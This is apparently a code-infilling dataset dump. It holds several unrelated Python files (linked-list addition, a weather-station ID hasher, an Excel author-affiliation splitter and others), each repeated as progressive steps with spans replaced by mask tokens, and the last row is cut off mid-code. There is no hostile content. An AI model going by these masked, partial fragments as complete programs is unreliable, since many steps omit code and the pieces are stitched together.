code
stringlengths
13
6.09M
order_type
stringclasses
2 values
original_example
dict
step_ids
listlengths
1
5
<|reserved_special_token_0|> class ListNode(object): def __init__(self, x): self.val = x self.next = None class Solution(object): def addTwoNumbers(self, l1, l2): """ :type l1: ListNode :type l2: ListNode :rtype: ListNode """ h1 = l1 v1 = 0 while h1: v1 = v1 * 10 + h1.val h1 = h1.next h2 = l2 v2 = 0 while h2: v2 = v2 * 10 + h2.val h2 = h2.next val = str(v1 + v2) dummy = curr = ListNode(0) for i in val: curr.next = ListNode(int(i)) curr = curr.next return dummy.next <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class ListNode(object): def __init__(self, x): self.val = x self.next = None class Solution(object): def addTwoNumbers(self, l1, l2): """ :type l1: ListNode :type l2: ListNode :rtype: ListNode """ h1 = l1 v1 = 0 while h1: v1 = v1 * 10 + h1.val h1 = h1.next h2 = l2 v2 = 0 while h2: v2 = v2 * 10 + h2.val h2 = h2.next val = str(v1 + v2) dummy = curr = ListNode(0) for i in val: curr.next = ListNode(int(i)) curr = curr.next return dummy.next <|reserved_special_token_0|> LinkedList([1]).printLinkedList(head) <|reserved_special_token_1|> <|reserved_special_token_0|> class ListNode(object): def __init__(self, x): self.val = x self.next = None class Solution(object): def addTwoNumbers(self, l1, l2): """ :type l1: ListNode :type l2: ListNode :rtype: ListNode """ h1 = l1 v1 = 0 while h1: v1 = v1 * 10 + h1.val h1 = h1.next h2 = l2 v2 = 0 while h2: v2 = v2 * 10 + h2.val h2 = h2.next val = str(v1 + v2) dummy = curr = ListNode(0) for i in val: curr.next = ListNode(int(i)) curr = curr.next return dummy.next l11, l22 = [7, 2, 4, 3], [5, 6, 4] l1 = LinkedList(l11).getHead() l2 = LinkedList(l22).getHead() sl = Solution() head = sl.addTwoNumbers(l1, l2) LinkedList([1]).printLinkedList(head) <|reserved_special_token_1|> from LinkedList import LinkedList class ListNode(object): def __init__(self, x): self.val = x self.next = None class Solution(object): def addTwoNumbers(self, l1, l2): """ :type l1: ListNode :type l2: ListNode :rtype: ListNode """ h1 = l1 v1 = 0 while h1: v1 = v1 * 10 + h1.val h1 = h1.next h2 = l2 v2 = 0 while h2: v2 = v2 * 10 + h2.val h2 = h2.next val = str(v1 + v2) dummy = curr = ListNode(0) for i in val: curr.next = ListNode(int(i)) curr = curr.next return dummy.next l11, l22 = [7, 2, 4, 3], [5, 6, 4] l1 = LinkedList(l11).getHead() l2 = LinkedList(l22).getHead() sl = Solution() head = sl.addTwoNumbers(l1, l2) LinkedList([1]).printLinkedList(head)
flexible
{ "blob_id": "0f3ecd0a7189f57fdbda2360f6e39bd6101e2fdb", "index": 7435, "step-1": "<mask token>\n\n\nclass ListNode(object):\n\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution(object):\n\n def addTwoNumbers(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n h1 = l1\n v1 = 0\n while h1:\n v1 = v1 * 10 + h1.val\n h1 = h1.next\n h2 = l2\n v2 = 0\n while h2:\n v2 = v2 * 10 + h2.val\n h2 = h2.next\n val = str(v1 + v2)\n dummy = curr = ListNode(0)\n for i in val:\n curr.next = ListNode(int(i))\n curr = curr.next\n return dummy.next\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass ListNode(object):\n\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution(object):\n\n def addTwoNumbers(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n h1 = l1\n v1 = 0\n while h1:\n v1 = v1 * 10 + h1.val\n h1 = h1.next\n h2 = l2\n v2 = 0\n while h2:\n v2 = v2 * 10 + h2.val\n h2 = h2.next\n val = str(v1 + v2)\n dummy = curr = ListNode(0)\n for i in val:\n curr.next = ListNode(int(i))\n curr = curr.next\n return dummy.next\n\n\n<mask token>\nLinkedList([1]).printLinkedList(head)\n", "step-3": "<mask token>\n\n\nclass ListNode(object):\n\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution(object):\n\n def addTwoNumbers(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n h1 = l1\n v1 = 0\n while h1:\n v1 = v1 * 10 + h1.val\n h1 = h1.next\n h2 = l2\n v2 = 0\n while h2:\n v2 = v2 * 10 + h2.val\n h2 = h2.next\n val = str(v1 + v2)\n dummy = curr = ListNode(0)\n for i in val:\n curr.next = ListNode(int(i))\n curr = curr.next\n return dummy.next\n\n\nl11, l22 = [7, 2, 4, 3], [5, 6, 4]\nl1 = LinkedList(l11).getHead()\nl2 = LinkedList(l22).getHead()\nsl = Solution()\nhead = sl.addTwoNumbers(l1, l2)\nLinkedList([1]).printLinkedList(head)\n", "step-4": "from LinkedList import LinkedList\n\n\nclass ListNode(object):\n\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution(object):\n\n def addTwoNumbers(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n h1 = l1\n v1 = 0\n while h1:\n v1 = v1 * 10 + h1.val\n h1 = h1.next\n h2 = l2\n v2 = 0\n while h2:\n v2 = v2 * 10 + h2.val\n h2 = h2.next\n val = str(v1 + v2)\n dummy = curr = ListNode(0)\n for i in val:\n curr.next = ListNode(int(i))\n curr = curr.next\n return dummy.next\n\n\nl11, l22 = [7, 2, 4, 3], [5, 6, 4]\nl1 = LinkedList(l11).getHead()\nl2 = LinkedList(l22).getHead()\nsl = Solution()\nhead = sl.addTwoNumbers(l1, l2)\nLinkedList([1]).printLinkedList(head)\n", "step-5": null, "step-ids": [ 4, 5, 6, 7 ] }
[ 4, 5, 6, 7 ]
# Python bytecode 2.7 (decompiled from Python 2.7) # Embedded file name: scripts/client/web_client_api/__init__.py from soft_exception import SoftException class WebCommandException(SoftException): def __init__(self, description): super(WebCommandException, self).__init__(description)
normal
{ "blob_id": "0f4864b745768994ea55a931e4d8b0681c058465", "index": 2828, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass WebCommandException(SoftException):\n <mask token>\n", "step-3": "<mask token>\n\n\nclass WebCommandException(SoftException):\n\n def __init__(self, description):\n super(WebCommandException, self).__init__(description)\n", "step-4": "from soft_exception import SoftException\n\n\nclass WebCommandException(SoftException):\n\n def __init__(self, description):\n super(WebCommandException, self).__init__(description)\n", "step-5": "# Python bytecode 2.7 (decompiled from Python 2.7)\n# Embedded file name: scripts/client/web_client_api/__init__.py\nfrom soft_exception import SoftException\n\nclass WebCommandException(SoftException):\n\n def __init__(self, description):\n super(WebCommandException, self).__init__(description)\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
from codecool_class import CodecoolClass from mentor import Mentor from student import Student codecool_bp = CodecoolClass.create_local
normal
{ "blob_id": "7e985f55271c8b588abe54a07d20b89b2a29ff0d", "index": 8380, "step-1": "<mask token>\n", "step-2": "<mask token>\ncodecool_bp = CodecoolClass.create_local\n", "step-3": "from codecool_class import CodecoolClass\nfrom mentor import Mentor\nfrom student import Student\ncodecool_bp = CodecoolClass.create_local\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def generate_id(parameter, station_id): meta_data = parameter + station_id hash_id = hashlib.sha256(config.encryption_key) hash_id.update(json.dumps(meta_data).encode()) return hash_id.hexdigest() <|reserved_special_token_1|> <|reserved_special_token_0|> def generate_data(*args): try: station_data = args[0] except KeyError as e: logger.log(log_type=config.log_error, params=e) return None """ There are the Parameters need to be extracted from the packet Weather Parameters 1 - dateist 2 - dailyrainMM 3 - rain 4 - tempc 5 - winddir 6 - windspeedkmh 7 - humidity 8 - baromMM Technical Parameters 1 - batt 2 - network 3 - RSSI 4 - action 5 - softwaretype 6 - version """ data_hashed = dict() data_hashed['dailyrainMM'] = generate_id('dailyrainMM', station_data[ 'station_id']) data_hashed['rain'] = generate_id('rain', station_data['station_id']) data_hashed['tempc'] = generate_id('tempc', station_data['station_id']) data_hashed['winddir'] = generate_id('winddir', station_data['station_id']) data_hashed['windspeedkmh'] = generate_id('windspeedkmh', station_data[ 'station_id']) data_hashed['humidity'] = generate_id('humidity', station_data[ 'station_id']) data_hashed['baromMM'] = generate_id('baromMM', station_data['station_id']) data_hashed['BAT'] = generate_id('BAT', station_data['station_id']) data_hashed['network'] = generate_id('network', station_data['station_id']) data_hashed['RSSI'] = generate_id('RSSI', station_data['station_id']) data_hashed['action'] = generate_id('action', station_data['station_id']) data_hashed['softwareType'] = generate_id('softwareType', station_data[ 'station_id']) data_hashed['version'] = generate_id('version', station_data['station_id']) return data_hashed def generate_id(parameter, station_id): meta_data = parameter + station_id hash_id = hashlib.sha256(config.encryption_key) hash_id.update(json.dumps(meta_data).encode()) return hash_id.hexdigest() <|reserved_special_token_1|> import hashlib import json import Login.loger as logger import Configurations.config as config def generate_data(*args): try: station_data = args[0] except KeyError as e: logger.log(log_type=config.log_error, params=e) return None """ There are the Parameters need to be extracted from the packet Weather Parameters 1 - dateist 2 - dailyrainMM 3 - rain 4 - tempc 5 - winddir 6 - windspeedkmh 7 - humidity 8 - baromMM Technical Parameters 1 - batt 2 - network 3 - RSSI 4 - action 5 - softwaretype 6 - version """ data_hashed = dict() data_hashed['dailyrainMM'] = generate_id('dailyrainMM', station_data[ 'station_id']) data_hashed['rain'] = generate_id('rain', station_data['station_id']) data_hashed['tempc'] = generate_id('tempc', station_data['station_id']) data_hashed['winddir'] = generate_id('winddir', station_data['station_id']) data_hashed['windspeedkmh'] = generate_id('windspeedkmh', station_data[ 'station_id']) data_hashed['humidity'] = generate_id('humidity', station_data[ 'station_id']) data_hashed['baromMM'] = generate_id('baromMM', station_data['station_id']) data_hashed['BAT'] = generate_id('BAT', station_data['station_id']) data_hashed['network'] = generate_id('network', station_data['station_id']) data_hashed['RSSI'] = generate_id('RSSI', station_data['station_id']) data_hashed['action'] = generate_id('action', station_data['station_id']) data_hashed['softwareType'] = generate_id('softwareType', station_data[ 'station_id']) data_hashed['version'] = generate_id('version', station_data['station_id']) return data_hashed def generate_id(parameter, station_id): meta_data = parameter + station_id hash_id = hashlib.sha256(config.encryption_key) hash_id.update(json.dumps(meta_data).encode()) return hash_id.hexdigest() <|reserved_special_token_1|> import hashlib import json #import logger import Login.loger as logger #configurations import Configurations.config as config def generate_data(*args): #add data into seperate variables try: station_data = args[0] except KeyError as e: logger.log(log_type=config.log_error,params=e) return None #extract all variables from data """ There are the Parameters need to be extracted from the packet Weather Parameters 1 - dateist 2 - dailyrainMM 3 - rain 4 - tempc 5 - winddir 6 - windspeedkmh 7 - humidity 8 - baromMM Technical Parameters 1 - batt 2 - network 3 - RSSI 4 - action 5 - softwaretype 6 - version """ data_hashed = dict() #data_hashed['dateist']=generate_id('dateist',station_data['station_id']) data_hashed['dailyrainMM']=generate_id('dailyrainMM',station_data['station_id']) data_hashed['rain']=generate_id('rain',station_data['station_id']) data_hashed['tempc']=generate_id('tempc',station_data['station_id']) data_hashed['winddir']=generate_id('winddir',station_data['station_id']) data_hashed['windspeedkmh']=generate_id('windspeedkmh',station_data['station_id']) data_hashed['humidity']=generate_id('humidity',station_data['station_id']) data_hashed['baromMM']=generate_id('baromMM',station_data['station_id']) data_hashed['BAT']=generate_id('BAT',station_data['station_id']) data_hashed['network']=generate_id('network',station_data['station_id']) data_hashed['RSSI']=generate_id('RSSI',station_data['station_id']) data_hashed['action']=generate_id('action',station_data['station_id']) data_hashed['softwareType']=generate_id('softwareType',station_data['station_id']) data_hashed['version']=generate_id('version',station_data['station_id']) return data_hashed def generate_id(parameter,station_id): meta_data= parameter+station_id #generate all the keys for the has ids hash_id = hashlib.sha256(config.encryption_key) hash_id.update(json.dumps(meta_data).encode()) return hash_id.hexdigest()
flexible
{ "blob_id": "2a5c6f442e6e6cec6c4663b764c8a9a15aec8c40", "index": 6971, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef generate_id(parameter, station_id):\n meta_data = parameter + station_id\n hash_id = hashlib.sha256(config.encryption_key)\n hash_id.update(json.dumps(meta_data).encode())\n return hash_id.hexdigest()\n", "step-3": "<mask token>\n\n\ndef generate_data(*args):\n try:\n station_data = args[0]\n except KeyError as e:\n logger.log(log_type=config.log_error, params=e)\n return None\n \"\"\"\n There are the Parameters need to be extracted from the packet\n \n Weather Parameters\n 1 - dateist\n 2 - dailyrainMM\n 3 - rain\n 4 - tempc\n 5 - winddir\n 6 - windspeedkmh\n 7 - humidity\n 8 - baromMM\n\n Technical Parameters\n 1 - batt\n 2 - network\n 3 - RSSI\n 4 - action\n 5 - softwaretype\n 6 - version\n \"\"\"\n data_hashed = dict()\n data_hashed['dailyrainMM'] = generate_id('dailyrainMM', station_data[\n 'station_id'])\n data_hashed['rain'] = generate_id('rain', station_data['station_id'])\n data_hashed['tempc'] = generate_id('tempc', station_data['station_id'])\n data_hashed['winddir'] = generate_id('winddir', station_data['station_id'])\n data_hashed['windspeedkmh'] = generate_id('windspeedkmh', station_data[\n 'station_id'])\n data_hashed['humidity'] = generate_id('humidity', station_data[\n 'station_id'])\n data_hashed['baromMM'] = generate_id('baromMM', station_data['station_id'])\n data_hashed['BAT'] = generate_id('BAT', station_data['station_id'])\n data_hashed['network'] = generate_id('network', station_data['station_id'])\n data_hashed['RSSI'] = generate_id('RSSI', station_data['station_id'])\n data_hashed['action'] = generate_id('action', station_data['station_id'])\n data_hashed['softwareType'] = generate_id('softwareType', station_data[\n 'station_id'])\n data_hashed['version'] = generate_id('version', station_data['station_id'])\n return data_hashed\n\n\ndef generate_id(parameter, station_id):\n meta_data = parameter + station_id\n hash_id = hashlib.sha256(config.encryption_key)\n hash_id.update(json.dumps(meta_data).encode())\n return hash_id.hexdigest()\n", "step-4": "import hashlib\nimport json\nimport Login.loger as logger\nimport Configurations.config as config\n\n\ndef generate_data(*args):\n try:\n station_data = args[0]\n except KeyError as e:\n logger.log(log_type=config.log_error, params=e)\n return None\n \"\"\"\n There are the Parameters need to be extracted from the packet\n \n Weather Parameters\n 1 - dateist\n 2 - dailyrainMM\n 3 - rain\n 4 - tempc\n 5 - winddir\n 6 - windspeedkmh\n 7 - humidity\n 8 - baromMM\n\n Technical Parameters\n 1 - batt\n 2 - network\n 3 - RSSI\n 4 - action\n 5 - softwaretype\n 6 - version\n \"\"\"\n data_hashed = dict()\n data_hashed['dailyrainMM'] = generate_id('dailyrainMM', station_data[\n 'station_id'])\n data_hashed['rain'] = generate_id('rain', station_data['station_id'])\n data_hashed['tempc'] = generate_id('tempc', station_data['station_id'])\n data_hashed['winddir'] = generate_id('winddir', station_data['station_id'])\n data_hashed['windspeedkmh'] = generate_id('windspeedkmh', station_data[\n 'station_id'])\n data_hashed['humidity'] = generate_id('humidity', station_data[\n 'station_id'])\n data_hashed['baromMM'] = generate_id('baromMM', station_data['station_id'])\n data_hashed['BAT'] = generate_id('BAT', station_data['station_id'])\n data_hashed['network'] = generate_id('network', station_data['station_id'])\n data_hashed['RSSI'] = generate_id('RSSI', station_data['station_id'])\n data_hashed['action'] = generate_id('action', station_data['station_id'])\n data_hashed['softwareType'] = generate_id('softwareType', station_data[\n 'station_id'])\n data_hashed['version'] = generate_id('version', station_data['station_id'])\n return data_hashed\n\n\ndef generate_id(parameter, station_id):\n meta_data = parameter + station_id\n hash_id = hashlib.sha256(config.encryption_key)\n hash_id.update(json.dumps(meta_data).encode())\n return hash_id.hexdigest()\n", "step-5": "import hashlib\nimport json\n#import logger \nimport Login.loger as logger\n#configurations\nimport Configurations.config as config\n\ndef generate_data(*args):\n #add data into seperate variables\n try:\n station_data = args[0]\n except KeyError as e:\n logger.log(log_type=config.log_error,params=e)\n return None\n #extract all variables from data\n \"\"\"\n There are the Parameters need to be extracted from the packet\n \n Weather Parameters\n 1 - dateist\n 2 - dailyrainMM\n 3 - rain\n 4 - tempc\n 5 - winddir\n 6 - windspeedkmh\n 7 - humidity\n 8 - baromMM\n\n Technical Parameters\n 1 - batt\n 2 - network\n 3 - RSSI\n 4 - action\n 5 - softwaretype\n 6 - version\n \"\"\"\n data_hashed = dict()\n #data_hashed['dateist']=generate_id('dateist',station_data['station_id'])\n data_hashed['dailyrainMM']=generate_id('dailyrainMM',station_data['station_id'])\n data_hashed['rain']=generate_id('rain',station_data['station_id'])\n data_hashed['tempc']=generate_id('tempc',station_data['station_id'])\n data_hashed['winddir']=generate_id('winddir',station_data['station_id'])\n data_hashed['windspeedkmh']=generate_id('windspeedkmh',station_data['station_id'])\n data_hashed['humidity']=generate_id('humidity',station_data['station_id'])\n data_hashed['baromMM']=generate_id('baromMM',station_data['station_id'])\n data_hashed['BAT']=generate_id('BAT',station_data['station_id'])\n data_hashed['network']=generate_id('network',station_data['station_id'])\n data_hashed['RSSI']=generate_id('RSSI',station_data['station_id'])\n data_hashed['action']=generate_id('action',station_data['station_id'])\n data_hashed['softwareType']=generate_id('softwareType',station_data['station_id'])\n data_hashed['version']=generate_id('version',station_data['station_id'])\n return data_hashed \n\n\n\n \ndef generate_id(parameter,station_id):\n meta_data= parameter+station_id\n #generate all the keys for the has ids\n hash_id = hashlib.sha256(config.encryption_key)\n hash_id.update(json.dumps(meta_data).encode())\n return hash_id.hexdigest()\n ", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
import re import pandas as pd import pandas.io.formats.excel from configparser import ConfigParser from datetime import datetime from termcolor import cprint import os import shutil from openpyxl import load_workbook import numpy as np class pairtron(): def affiliation_cleaner(self, affiliation): # print(affiliation) affiliation = str(affiliation) affiliation = affiliation.strip(" ;").replace(" ", " ").replace(" "," ") while ' ;' in affiliation: affiliation = affiliation.replace(" ;", ";") while ';;' in affiliation: affiliation = affiliation.replace(";;", ";") return affiliation def zeta0_creation(self, indexed_files_dir, merge_columns): """ Returns pandas dataframe which has latest record for each manual id after merging all "sheet_name" in the previously indexed_files which are present in "indexed_files_dir" """ indexed_files = [file for file in os.listdir(indexed_files_dir) if not file.startswith("~")] indexed_files_dict = {} indexed_files_dict.clear() dateList = [] del dateList[:] for file in indexed_files: dated = file.split('_')[-1].split('.')[0] dated = dated[4:] + dated[:4] dateList.append(dated) indexed_files_dict[dated] = file dataframes = {} for dated, file in indexed_files_dict.items(): file_name = indexed_files_dir + '\\' + file dataframes[dated] = pd.read_excel(file_name, sheet_name=0) dataframes[dated]['file_date'] = dated dataframes[dated]['mid'] = [int(elem.split('_')[-1]) for elem in dataframes[dated]['manual_id']] merged_df = pd.concat([dataframes[dated] for dated in dateList], ignore_index=True) merged_df = merged_df.sort_values('file_date', ascending=False) zeta0 = merged_df.drop_duplicates(subset='manual_id', keep='first') pd.set_option('mode.chained_assignment', None) for col in zeta0.columns: zeta0[col] = zeta0[col].astype('str') zeta0 = zeta0.apply(lambda x: x.str.strip() if x.dtype == "object" else x) zeta0 = zeta0.sort_values('mid', ascending=True) if "manual_id" not in merge_columns: merge_columns.append("manual_id") zeta0 = zeta0[merge_columns] # print(zeta0) return zeta0 def copy_larvol_xlsx(self, template, acronym): date = datetime.now().date().strftime('%m%d%Y') self.dest_file = os.path.basename(template).replace('ACRONYM',acronym).replace('MMDDYYYY', date + '_Pairtron') shutil.copy2(template, self.dest_file) def selectionAfterJoin(self, df, cols, common_cols): for col in common_cols: if col != 'manual_id': df[col] = np.where(df['{}_left'.format(col)].isnull() | ((df['{}_right'.format(col)].notnull()) & (df['{}_right'.format(col)] != '') & (df['{}_left'.format(col)] != df['{}_right'.format(col)])), df['{}_right'.format(col)], df['{}_left'.format(col)]) drop_list = ['{}_left'.format(col) for col in common_cols if col != 'manual_id'] drop_list.extend(['{}_right'.format(col) for col in common_cols if col != 'manual_id']) df.drop(drop_list, axis=1, inplace=True) return df[cols] def update_larvol_xlsx(self, src, acronym, sheets, columns, zeta0_df=None): wb = load_workbook(filename=self.dest_file) ws = wb[sheets[0]] ws.title = sheets[0].replace('ACRONYM',acronym) try: curr_df = pd.read_excel(src) except: curr_df = pd.read_csv(src) if zeta0_df is not None: curr_jn_zeta = pd.merge(curr_df, zeta0_df, left_on='manual_id', right_on='manual_id', how='left', suffixes=('_left', '_right')) common_columns = [col for col in curr_df.columns if col in zeta0_df.columns] self.source_df = self.selectionAfterJoin(curr_jn_zeta, columns, common_columns) else: self.source_df = curr_df session_list = self.source_df.fillna('').values.tolist() for row_iter in range(len(session_list)): print(row_iter) for col_iter in range(len(session_list[row_iter])): print(col_iter) ws.cell(row=row_iter+2, column=col_iter+1).value = self.affiliation_cleaner(session_list[row_iter][col_iter]) wb.save(self.dest_file) def process_merger(self, source_file, acronym, merge, template, sheets, indexed_files_dir, columns, merge_columns): self.copy_larvol_xlsx(template, acronym) if merge.upper() == 'YES': zeta0 = self.zeta0_creation(indexed_files_dir, merge_columns) self.update_larvol_xlsx(source_file, acronym, sheets, columns, zeta0) else: self.update_larvol_xlsx(source_file, acronym, sheets, columns) def separated_by_number(self, source_id, manual_id, authors_list, affiliations_list): separated_authors_list = [] affiliations_dict = {} prev_affiliation = None for affiliation in affiliations_list: #print(manual_id) #print(affiliation) if affiliation != '': group = re.findall(r'\d+', affiliation) #print(group) if group != []: num = list(map(int, group))[0] affiliations_dict[str(num)] = str(num).join(affiliation.split(str(num))[1:]).strip(',. ') prev_affiliation = num elif prev_affiliation is not None: num = prev_affiliation affiliations_dict[str(num)] = affiliations_dict[str(num)] + '; ' + affiliation.strip(',. ') prev_affiliation = num for author in authors_list: #print(author) group = re.findall(r'\d+', author) num_list = list(map(int, group)) #print(num_list) if num_list != []: author_name = author.split(str(num_list[0]))[0].strip(',.-; ') else: author_name = author.strip(',.-; ') #print(author_name) for num in num_list: try: elem = affiliations_dict[str(num)] except: affiliations_dict[str(num)] = '' cprint("Exception for manual_id: {} as affiliation index {} wasn't found".format(manual_id, str(num)), 'yellow', attrs=['bold']) affiliation_name = '; '.join([affiliations_dict[str(num)].strip(',.- ') for num in num_list]) #print(affiliation_name) separated_authors_list.append([source_id, manual_id, author_name, affiliation_name]) return separated_authors_list def separated_by_semicolon(self, source_id, manual_id, authors_list, affiliations_list): separated_authors_list = [] for iter in range(len(authors_list)): author_name = authors_list[iter].strip(',.-; ') try: affiliation_name = affiliations_list[iter].strip(',.- ') except: affiliation_name = '' separated_authors_list.append([source_id, manual_id, author_name, affiliation_name]) return separated_authors_list def common_affiliation(self, source_id, manual_id, authors_list, affiliations_list): separated_authors_list = [] for iter in range(len(authors_list)): author_name = authors_list[iter].strip(',.-; ') affiliation_name = affiliations_list[0].strip(',.- ') print(affiliation_name) separated_authors_list.append([source_id, manual_id, author_name, affiliation_name]) return separated_authors_list def process_pairtron(self, sheet): source_df = self.source_df source_df = source_df[source_df['authors'].notnull()] source_id_list = source_df['source_id'].fillna('').tolist() manual_id_list = source_df['manual_id'].fillna('').tolist() authors_list = source_df['authors'].tolist() affiliation_list = source_df['author_affiliation'].fillna('').tolist() pairtron_list = [] for iter in range(len(authors_list)): #print(iter, manual_id_list[iter]) author_tokens = [elem.strip() for elem in authors_list[iter].split(';')] affiliation_tokens = [elem.strip() for elem in affiliation_list[iter].split(';')] try: if author_tokens[0][-1].isdigit() and '1' in affiliation_list[iter]: pairtron_list.extend(self.separated_by_number(source_id_list[iter], manual_id_list[iter], author_tokens, affiliation_tokens)) elif len(author_tokens) == len(affiliation_tokens): pairtron_list.extend(self.separated_by_semicolon(source_id_list[iter], manual_id_list[iter], author_tokens, affiliation_tokens)) elif author_tokens[0][-1].isdigit() and '1' not in affiliation_list[iter]: cprint("ALERT: manual_id: {} has missing affiliations.".format(manual_id_list[iter]), 'red', attrs=['bold']) else: pairtron_list.extend(self.common_affiliation(source_id_list[iter], manual_id_list[iter], author_tokens, affiliation_tokens)) except: pass df = pd.DataFrame(pairtron_list, columns=['source_id', 'manual_id', 'authors', 'author_affiliation']) df.drop_duplicates(inplace = True) authorsInfo_list = df.values.tolist() wb = load_workbook(filename=self.dest_file) ws = wb[sheet] for row_iter in range(len(authorsInfo_list)): for col_iter in range(len(authorsInfo_list[row_iter])): ws.cell(row=row_iter+2, column=col_iter+1).value = authorsInfo_list[row_iter][col_iter] wb.save(self.dest_file) def processData(self, source_file, acronym, merge, template, sheets, indexed_files_dir, columns, merge_columns): self.process_merger(source_file, acronym, merge, template, sheets, indexed_files_dir, columns, merge_columns) self.process_pairtron(sheets[1]) if __name__ == "__main__": start = datetime.now() print ("Script Start Time ",start) print ("Script Running.....\n") parser = ConfigParser() parser.read('pairtron_config.ini') source_file = parser.get('dynamic_fields', 'source_file') acronym = parser.get('dynamic_fields', 'ACRONYM') merge = parser.get('dynamic_fields', 'merge') merge_columns = [elem.strip() for elem in parser.get('dynamic_fields', 'merge_columns').split(',')] template = parser.get('static_fields', 'template') sheets = parser.get('static_fields', 'sheets').split(',') indexed_files_dir = parser.get('static_fields', 'indexed_files_dir') columns = parser.get('static_fields', 'columns').split(',') obj = pairtron() obj.processData(source_file, acronym, merge, template, sheets, indexed_files_dir, columns, merge_columns) total_time = datetime.now() - start print ("\nScript End Time ",datetime.now()) print ("Execution Time", total_time)
normal
{ "blob_id": "fbab5826f47163cf82b534d311eae572c5fcd128", "index": 3287, "step-1": "<mask token>\n\n\nclass pairtron:\n\n def affiliation_cleaner(self, affiliation):\n affiliation = str(affiliation)\n affiliation = affiliation.strip(' ;').replace(' ', ' ').replace(' ',\n ' ')\n while ' ;' in affiliation:\n affiliation = affiliation.replace(' ;', ';')\n while ';;' in affiliation:\n affiliation = affiliation.replace(';;', ';')\n return affiliation\n\n def zeta0_creation(self, indexed_files_dir, merge_columns):\n \"\"\" Returns pandas dataframe which has latest record for each manual id after merging all \"sheet_name\"\n in the previously indexed_files which are present in \"indexed_files_dir\"\n \"\"\"\n indexed_files = [file for file in os.listdir(indexed_files_dir) if \n not file.startswith('~')]\n indexed_files_dict = {}\n indexed_files_dict.clear()\n dateList = []\n del dateList[:]\n for file in indexed_files:\n dated = file.split('_')[-1].split('.')[0]\n dated = dated[4:] + dated[:4]\n dateList.append(dated)\n indexed_files_dict[dated] = file\n dataframes = {}\n for dated, file in indexed_files_dict.items():\n file_name = indexed_files_dir + '\\\\' + file\n dataframes[dated] = pd.read_excel(file_name, sheet_name=0)\n dataframes[dated]['file_date'] = dated\n dataframes[dated]['mid'] = [int(elem.split('_')[-1]) for elem in\n dataframes[dated]['manual_id']]\n merged_df = pd.concat([dataframes[dated] for dated in dateList],\n ignore_index=True)\n merged_df = merged_df.sort_values('file_date', ascending=False)\n zeta0 = merged_df.drop_duplicates(subset='manual_id', keep='first')\n pd.set_option('mode.chained_assignment', None)\n for col in zeta0.columns:\n zeta0[col] = zeta0[col].astype('str')\n zeta0 = zeta0.apply(lambda x: x.str.strip() if x.dtype == 'object' else\n x)\n zeta0 = zeta0.sort_values('mid', ascending=True)\n if 'manual_id' not in merge_columns:\n merge_columns.append('manual_id')\n zeta0 = zeta0[merge_columns]\n return zeta0\n <mask token>\n\n def selectionAfterJoin(self, df, cols, common_cols):\n for col in common_cols:\n if col != 'manual_id':\n df[col] = np.where(df['{}_left'.format(col)].isnull() | df[\n '{}_right'.format(col)].notnull() & (df['{}_right'.\n format(col)] != '') & (df['{}_left'.format(col)] != df[\n '{}_right'.format(col)]), df['{}_right'.format(col)],\n df['{}_left'.format(col)])\n drop_list = ['{}_left'.format(col) for col in common_cols if col !=\n 'manual_id']\n drop_list.extend(['{}_right'.format(col) for col in common_cols if \n col != 'manual_id'])\n df.drop(drop_list, axis=1, inplace=True)\n return df[cols]\n\n def update_larvol_xlsx(self, src, acronym, sheets, columns, zeta0_df=None):\n wb = load_workbook(filename=self.dest_file)\n ws = wb[sheets[0]]\n ws.title = sheets[0].replace('ACRONYM', acronym)\n try:\n curr_df = pd.read_excel(src)\n except:\n curr_df = pd.read_csv(src)\n if zeta0_df is not None:\n curr_jn_zeta = pd.merge(curr_df, zeta0_df, left_on='manual_id',\n right_on='manual_id', how='left', suffixes=('_left', '_right'))\n common_columns = [col for col in curr_df.columns if col in\n zeta0_df.columns]\n self.source_df = self.selectionAfterJoin(curr_jn_zeta, columns,\n common_columns)\n else:\n self.source_df = curr_df\n session_list = self.source_df.fillna('').values.tolist()\n for row_iter in range(len(session_list)):\n print(row_iter)\n for col_iter in range(len(session_list[row_iter])):\n print(col_iter)\n ws.cell(row=row_iter + 2, column=col_iter + 1\n ).value = self.affiliation_cleaner(session_list[\n row_iter][col_iter])\n wb.save(self.dest_file)\n\n def process_merger(self, source_file, acronym, merge, template, sheets,\n indexed_files_dir, columns, merge_columns):\n self.copy_larvol_xlsx(template, acronym)\n if merge.upper() == 'YES':\n zeta0 = self.zeta0_creation(indexed_files_dir, merge_columns)\n self.update_larvol_xlsx(source_file, acronym, sheets, columns,\n zeta0)\n else:\n self.update_larvol_xlsx(source_file, acronym, sheets, columns)\n\n def separated_by_number(self, source_id, manual_id, authors_list,\n affiliations_list):\n separated_authors_list = []\n affiliations_dict = {}\n prev_affiliation = None\n for affiliation in affiliations_list:\n if affiliation != '':\n group = re.findall('\\\\d+', affiliation)\n if group != []:\n num = list(map(int, group))[0]\n affiliations_dict[str(num)] = str(num).join(affiliation\n .split(str(num))[1:]).strip(',. ')\n prev_affiliation = num\n elif prev_affiliation is not None:\n num = prev_affiliation\n affiliations_dict[str(num)] = affiliations_dict[str(num)\n ] + '; ' + affiliation.strip(',. ')\n prev_affiliation = num\n for author in authors_list:\n group = re.findall('\\\\d+', author)\n num_list = list(map(int, group))\n if num_list != []:\n author_name = 